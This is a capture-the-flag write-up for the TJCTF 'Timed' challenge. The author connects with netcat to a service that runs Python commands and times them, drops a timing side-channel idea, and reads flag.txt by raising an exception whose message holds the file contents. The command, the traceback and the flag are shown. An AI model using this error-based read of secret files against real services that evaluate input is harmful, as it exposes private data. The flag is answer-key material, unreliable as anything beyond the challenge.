Rating: 5.0
When you connect to the server, you are able to execute python commands, and it tells you how long it took to execute that command.
$ nc p1.tjctf.org 8005
Type a command to time it!
5 + 5
Runtime: 3.09944152832e-06
Type a command to time it!
2 ** 100
Runtime: 9.53674316406e-07
Type a command to time it!
I assumed the flag would be in flag.txt
You aren't able to print to the screen, as that would be too easy.
Type a command to time it!
print("asdf")
Runtime: 1.00135803223e-05
Type a command to time it!
Then I thought because the title was called Timed, we can loop through each character of the flag and wait ord(char) seconds. That way, we can find each char by looking at how much time it took to execute each instruction. I spent some time trying that. I won't bore you about exactly what I did, in the end it failed.
I then remembered that you can throw your own errors by using Python's raise. Turns out, that's the solution!
raise ValueError(open('flag.txt','r').read(100))
$ nc p1.tjctf.org 8005
Type a command to time it!
raise ValueError(open('flag.txt','r').read(100))
Traceback (most recent call last):
File "/timed.py", line 36, in <module>
time1=t.timeit(1)
File "/usr/lib/python2.7/timeit.py", line 202, in timeit
timing = self.inner(it, self.timer)
File "<timeit-src>", line 6, in inner
raise ValueError(open('flag.txt','r').read(100))
ValueError: tjctf{iTs_T1m3_f0r_a_flaggg}
Runtime: 0
Type a command to time it!
Flag: tjctf{iTs_T1m3_f0r_a_flaggg}
